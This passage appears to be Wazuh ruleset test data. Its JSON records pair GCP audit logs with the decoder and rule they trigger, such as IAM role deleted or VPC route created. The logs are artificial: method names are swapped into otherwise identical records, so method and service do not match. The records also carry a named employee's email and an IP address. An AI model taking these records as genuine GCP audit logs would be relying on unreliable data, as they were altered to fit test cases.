resource.type=\\\"pubsub_topic\\\"\",\"@type\":\"type.googleapis.com/google.monitoring.v3.ListTimeSeriesRequest\",\"name\":\"projects/wazuh-dev-258815\"},\"authenticationInfo\":{\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"769054035614\",\"permission\":\"monitoring.timeSeries.list\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"numResponseItems\":\"1\",\"methodName\":\"google.iam.admin.v3.DeleteRole\",\"resourceName\":\"projects/wazuh-dev-258815\",\"serviceName\":\"monitoring.googleapis.com\"},\"receiveTimestamp\":\"2021-06-11T09:35:18.35940193Z\",\"insertId\":\"s1gmn4e7xlr1\",\"timestamp\":\"2021-06-11T09:35:18.077460268Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "s1gmn4e7xlr1", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': '769054035614', 'permission': 'monitoring.timeSeries.list', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.iam.admin.v3.DeleteRole", "gcp.protoPayload.numResponseItems": "1", "gcp.protoPayload.request.filter": "metric.type=\"pubsub.googleapis.com/topic/send_message_operation_count\" AND resource.labels.project_id=\"wazuh-dev-258815\" AND resource.labels.topic_id=\"wazuh-gcloud-blog-topic\" AND resource.type=\"pubsub_topic\"", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-11T09:35:18.077583788Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815", "gcp.protoPayload.serviceName": "monitoring.googleapis.com", "gcp.receiveTimestamp": "2021-06-11T09:35:18.35940193Z", "gcp.resource.labels.method": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.service": "monitoring.googleapis.com", "gcp.resource.type": "audited_resource", "gcp.severity": "INFO", "gcp.timestamp": "2021-06-11T09:35:18.077460268Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.numResponseItems", "gcp.protoPayload.request.filter", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.method", "gcp.resource.labels.project_id", "gcp.resource.labels.service", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65063", "level": "3", "expected_decoder": "json", "expected_rule": "65063", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP IAM role deleted."} +{"log": "{\"gcp\":{\"severity\":\"INFO\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access\",\"resource\":{\"type\":\"audited_resource\",\"labels\":{\"method\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"project_id\":\"wazuh-dev-258815\",\"service\":\"monitoring.googleapis.com\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-11T09:35:18.077583788Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"filter\":\"metric.type=\\\"pubsub.googleapis.com/topic/send_message_operation_count\\\" AND resource.labels.project_id=\\\"wazuh-dev-258815\\\" AND resource.labels.topic_id=\\\"wazuh-gcloud-blog-topic\\\" AND resource.type=\\\"pubsub_topic\\\"\",\"@type\":\"type.googleapis.com/google.monitoring.v3.ListTimeSeriesRequest\",\"name\":\"projects/wazuh-dev-258815\"},\"authenticationInfo\":{\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"769054035614\",\"permission\":\"monitoring.timeSeries.list\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"numResponseItems\":\"1\",\"methodName\":\"google.iam.admin.v3.DeleteServiceAccount\",\"resourceName\":\"projects/wazuh-dev-258815\",\"serviceName\":\"monitoring.googleapis.com\"},\"receiveTimestamp\":\"2021-06-11T09:35:18.35940193Z\",\"insertId\":\"s1gmn4e7xlr1\",\"timestamp\":\"2021-06-11T09:35:18.077460268Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "s1gmn4e7xlr1", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': '769054035614', 'permission': 'monitoring.timeSeries.list', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.iam.admin.v3.DeleteServiceAccount", "gcp.protoPayload.numResponseItems": "1", "gcp.protoPayload.request.filter": "metric.type=\"pubsub.googleapis.com/topic/send_message_operation_count\" AND resource.labels.project_id=\"wazuh-dev-258815\" AND resource.labels.topic_id=\"wazuh-gcloud-blog-topic\" AND resource.type=\"pubsub_topic\"", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-11T09:35:18.077583788Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815", "gcp.protoPayload.serviceName": "monitoring.googleapis.com", "gcp.receiveTimestamp": "2021-06-11T09:35:18.35940193Z", "gcp.resource.labels.method": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.service": "monitoring.googleapis.com", "gcp.resource.type": "audited_resource", "gcp.severity": "INFO", "gcp.timestamp": "2021-06-11T09:35:18.077460268Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.numResponseItems", "gcp.protoPayload.request.filter", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.method", "gcp.resource.labels.project_id", "gcp.resource.labels.service", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65064", "level": "3", "expected_decoder": "json", "expected_rule": "65064", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP IAM service account deleted."} +{"log": "{\"gcp\":{\"severity\":\"INFO\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access\",\"resource\":{\"type\":\"audited_resource\",\"labels\":{\"method\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"project_id\":\"wazuh-dev-258815\",\"service\":\"monitoring.googleapis.com\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-11T09:35:18.077583788Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"filter\":\"metric.type=\\\"pubsub.googleapis.com/topic/send_message_operation_count\\\" AND resource.labels.project_id=\\\"wazuh-dev-258815\\\" AND resource.labels.topic_id=\\\"wazuh-gcloud-blog-topic\\\" AND resource.type=\\\"pubsub_topic\\\"\",\"@type\":\"type.googleapis.com/google.monitoring.v3.ListTimeSeriesRequest\",\"name\":\"projects/wazuh-dev-258815\"},\"authenticationInfo\":{\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"769054035614\",\"permission\":\"monitoring.timeSeries.list\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"numResponseItems\":\"1\",\"methodName\":\"google.iam.admin.v3.DisableServiceAccount\",\"resourceName\":\"projects/wazuh-dev-258815\",\"serviceName\":\"monitoring.googleapis.com\"},\"receiveTimestamp\":\"2021-06-11T09:35:18.35940193Z\",\"insertId\":\"s1gmn4e7xlr1\",\"timestamp\":\"2021-06-11T09:35:18.077460268Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "s1gmn4e7xlr1", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': '769054035614', 'permission': 'monitoring.timeSeries.list', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.iam.admin.v3.DisableServiceAccount", "gcp.protoPayload.numResponseItems": "1", "gcp.protoPayload.request.filter": "metric.type=\"pubsub.googleapis.com/topic/send_message_operation_count\" AND resource.labels.project_id=\"wazuh-dev-258815\" AND resource.labels.topic_id=\"wazuh-gcloud-blog-topic\" AND resource.type=\"pubsub_topic\"", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-11T09:35:18.077583788Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815", "gcp.protoPayload.serviceName": "monitoring.googleapis.com", "gcp.receiveTimestamp": "2021-06-11T09:35:18.35940193Z", "gcp.resource.labels.method": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.service": "monitoring.googleapis.com", "gcp.resource.type": "audited_resource", "gcp.severity": "INFO", "gcp.timestamp": "2021-06-11T09:35:18.077460268Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.numResponseItems", "gcp.protoPayload.request.filter", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.method", "gcp.resource.labels.project_id", "gcp.resource.labels.service", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65065", "level": "3", "expected_decoder": "json", "expected_rule": "65065", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP service account disabled."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"pubsub_topic\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"topic_id\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-10T15:07:09.68842532Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"authenticationInfo\":{\"principalSubject\":\"user:javier.bejar@wazuh.com\",\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"permission\":\"pubsub.topics.attachSubscription\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"response\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"methodName\":\"storage.buckets.delete\",\"resourceName\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"serviceName\":\"pubsub.googleapis.com\"},\"receiveTimestamp\":\"2021-06-10T15:07:15.879792037Z\",\"insertId\":\"jzee3lb9j\",\"timestamp\":\"2021-06-10T15:07:09.68170948Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "jzee3lb9j", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authenticationInfo.principalSubject": "user:javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': 'projects/wazuh-dev-258815/topics/threatintel-gcp', 'permission': 'pubsub.topics.attachSubscription', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "storage.buckets.delete", "gcp.protoPayload.request.ackDeadlineSeconds": "10", "gcp.protoPayload.request.messageRetentionDuration": "604800s", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.request.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-10T15:07:09.68842532Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.response.ackDeadlineSeconds": "10", "gcp.protoPayload.response.messageRetentionDuration": "604800s", "gcp.protoPayload.response.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.response.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.serviceName": "pubsub.googleapis.com", "gcp.receiveTimestamp": "2021-06-10T15:07:15.879792037Z", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.topic_id": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.resource.type": "pubsub_topic", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-10T15:07:09.68170948Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authenticationInfo.principalSubject", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.request.ackDeadlineSeconds", "gcp.protoPayload.request.messageRetentionDuration", "gcp.protoPayload.request.name", "gcp.protoPayload.request.topic", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.response.ackDeadlineSeconds", "gcp.protoPayload.response.messageRetentionDuration", "gcp.protoPayload.response.name", "gcp.protoPayload.response.topic", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.project_id", "gcp.resource.labels.topic_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65066", "level": "3", "expected_decoder": "json", "expected_rule": "65066", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP storage bucket deleted."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"pubsub_topic\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"topic_id\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-10T15:07:09.68842532Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"authenticationInfo\":{\"principalSubject\":\"user:javier.bejar@wazuh.com\",\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"permission\":\"pubsub.topics.attachSubscription\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"response\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"methodName\":\"v3.compute.networks.delete\",\"resourceName\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"serviceName\":\"pubsub.googleapis.com\"},\"receiveTimestamp\":\"2021-06-10T15:07:15.879792037Z\",\"insertId\":\"jzee3lb9j\",\"timestamp\":\"2021-06-10T15:07:09.68170948Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "jzee3lb9j", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authenticationInfo.principalSubject": "user:javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': 'projects/wazuh-dev-258815/topics/threatintel-gcp', 'permission': 'pubsub.topics.attachSubscription', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "v3.compute.networks.delete", "gcp.protoPayload.request.ackDeadlineSeconds": "10", "gcp.protoPayload.request.messageRetentionDuration": "604800s", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.request.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-10T15:07:09.68842532Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.response.ackDeadlineSeconds": "10", "gcp.protoPayload.response.messageRetentionDuration": "604800s", "gcp.protoPayload.response.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.response.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.serviceName": "pubsub.googleapis.com", "gcp.receiveTimestamp": "2021-06-10T15:07:15.879792037Z", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.topic_id": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.resource.type": "pubsub_topic", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-10T15:07:09.68170948Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authenticationInfo.principalSubject", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.request.ackDeadlineSeconds", "gcp.protoPayload.request.messageRetentionDuration", "gcp.protoPayload.request.name", "gcp.protoPayload.request.topic", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.response.ackDeadlineSeconds", "gcp.protoPayload.response.messageRetentionDuration", "gcp.protoPayload.response.name", "gcp.protoPayload.response.topic", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.project_id", "gcp.resource.labels.topic_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65067", "level": "3", "expected_decoder": "json", "expected_rule": "65067", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP virtual private cloud (VPC) network deleted."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"pubsub_topic\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"topic_id\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-10T15:07:09.68842532Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"authenticationInfo\":{\"principalSubject\":\"user:javier.bejar@wazuh.com\",\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"permission\":\"pubsub.topics.attachSubscription\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"response\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"methodName\":\"v3.compute.routes.insert\",\"resourceName\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"serviceName\":\"pubsub.googleapis.com\"},\"receiveTimestamp\":\"2021-06-10T15:07:15.879792037Z\",\"insertId\":\"jzee3lb9j\",\"timestamp\":\"2021-06-10T15:07:09.68170948Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "jzee3lb9j", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authenticationInfo.principalSubject": "user:javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': 'projects/wazuh-dev-258815/topics/threatintel-gcp', 'permission': 'pubsub.topics.attachSubscription', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "v3.compute.routes.insert", "gcp.protoPayload.request.ackDeadlineSeconds": "10", "gcp.protoPayload.request.messageRetentionDuration": "604800s", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.request.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-10T15:07:09.68842532Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.response.ackDeadlineSeconds": "10", "gcp.protoPayload.response.messageRetentionDuration": "604800s", "gcp.protoPayload.response.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.response.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.serviceName": "pubsub.googleapis.com", "gcp.receiveTimestamp": "2021-06-10T15:07:15.879792037Z", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.topic_id": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.resource.type": "pubsub_topic", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-10T15:07:09.68170948Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authenticationInfo.principalSubject", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.request.ackDeadlineSeconds", "gcp.protoPayload.request.messageRetentionDuration", "gcp.protoPayload.request.name", "gcp.protoPayload.request.topic", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.response.ackDeadlineSeconds", "gcp.protoPayload.response.messageRetentionDuration", "gcp.protoPayload.response.name", "gcp.protoPayload.response.topic", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.project_id", "gcp.resource.labels.topic_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65068", "level": "3", "expected_decoder": "json", "expected_rule": "65068", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP virtual private cloud (VPC) route created."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"pubsub_topic\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"topic_id\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-10T15:07:09.68842532Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"authenticationInfo\":{\"principalSubject\":\"user:javier.bejar@wazuh.com\",\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"permission\":\"pubsub.topics.attachSubscription\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"response\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"methodName\":\"v3.compute.routes.delete\",\"resourceName\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"serviceName\":\"pubsub.googleapis.com\"},\"receiveTimestamp\":\"2021-06-10T15:07:15.879792037Z\",\"insertId\":\"jzee3lb9j\",\"timestamp\":\"2021-06-10T15:07:09.68170948Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "jzee3lb9j", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authenticationInfo.principalSubject": 